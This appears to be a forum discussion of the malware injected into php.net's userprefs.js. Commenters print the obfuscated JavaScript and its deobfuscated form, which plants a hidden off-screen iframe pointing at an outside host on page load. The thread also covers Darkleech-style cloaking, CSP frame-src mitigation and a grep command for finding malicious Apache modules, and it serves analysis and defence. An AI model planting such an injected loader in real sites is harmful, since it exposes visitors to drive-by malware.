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1) When I go to static userprefs.js on my mobile, no obfuscated contents.

2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.

3) When i browse to static userprefs.js on normal mode I get the following js appended:

    (function (MH) {
        var aS = "\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u>\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH"+
            Z7 = ["\x73\x70\x6c\x69\x74", XC = 0x09 * 17, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],
            Jm = "\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC",
            jS = aS["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, Jm[Z7[2]]);
        UVf = function (wD) {
            var Np, uK, Ugx = uK = "",
                DUB = 0;
            wD = wD[Z7[0]](Ugx);
            for (Np in wD) {
                if (wD[Z7[3]](Np)) {
                    uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
            return (uK);
        jS = UVf(Jm);
    })(window, pVH = function (g6D, FFl, LyS, mnT) {
        g6D = g6D[LyS = "\x63" + (mnT = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0);
        return (String["\x66\x72\x6f\x6d\x43" + mnT](g6D & XC | ((g6D & (~XC & 0xff)) ^ (FFl[LyS](0) & (~XC & 0xff)))))

4) When I control F5 the page to refresh, obfuscated contents are gone.

So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.

This code deobfuscates basically to

        tmp3 = (tmp2 = document.createElement('iframe')).style;
        tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
        tmp1 = (tmp0 = document.createElement('div')).style;
        tmp1.width = tmp1.height = '-10000px';
        tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
        tmp4 = document.getElementsByTagName('div');
        tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);
Wrapped into onload.

I really love that part where a random div is selected for inserting the iframe...

If there is one. Could be a little more robust :)

Obviously the hackers have a thing about non-semantic markup :-)

(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)

Would CSP solve this issue? Looks like we could try restricting iframe-src?

But if they are able to hack into the server, I supposed there is nothing to do then...

If php.net used CSP, they would have been able to mitigate this attack with the frame-src directive [1].

[1] http://www.w3.org/TR/CSP/#frame-src

If they are able to hack the physical box (I assume this is how they did the injection), then it is possible for them to modify the CSP rule too.

If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.

From my experience are these contents only provided once per IP and then you're getting filtered to not get any content again, to prevent 'easy' detection of this.

You simply get blacklisted after the first serving

Yeah, I ran across malware once that only injected JS for visitors from certain referrers, such as Google search. I believe the intention was so that when someone would tell me, "Hey, you have a bunch of weird links on your site" I would go to it directly and not see a problem. IIRC the .htaccess had been modified.

I've seen this sort of thing from the Darkleech apache module[1]. It also won't show the malicious Javascript to any IP that appears in the `last` log. It looks like php.net uses Apache too[2]. The easiest way I've seen to find the module (they come with a variety of names) is to do something like

  strings /path/to/modules/* | grep -i blacklist
[1] http://malwaremustdie.blogspot.com/2013/03/the-evil-came-bac...

[2] http://builtwith.com/php.net

What a mess. I hope running Chrome via EMET is enough to keep my machine safe.

I've noticed that hacks have gone up recently in my little part of cyberspace. Things like Cryptolocker are so profitable that its motivating a lot of talented guys to get into malware and hack servers. Usually servers running some unpatched CMS or module.

Found some more interesting stuff into the rabbit hole:


This is very interesting. Thanks for the code.

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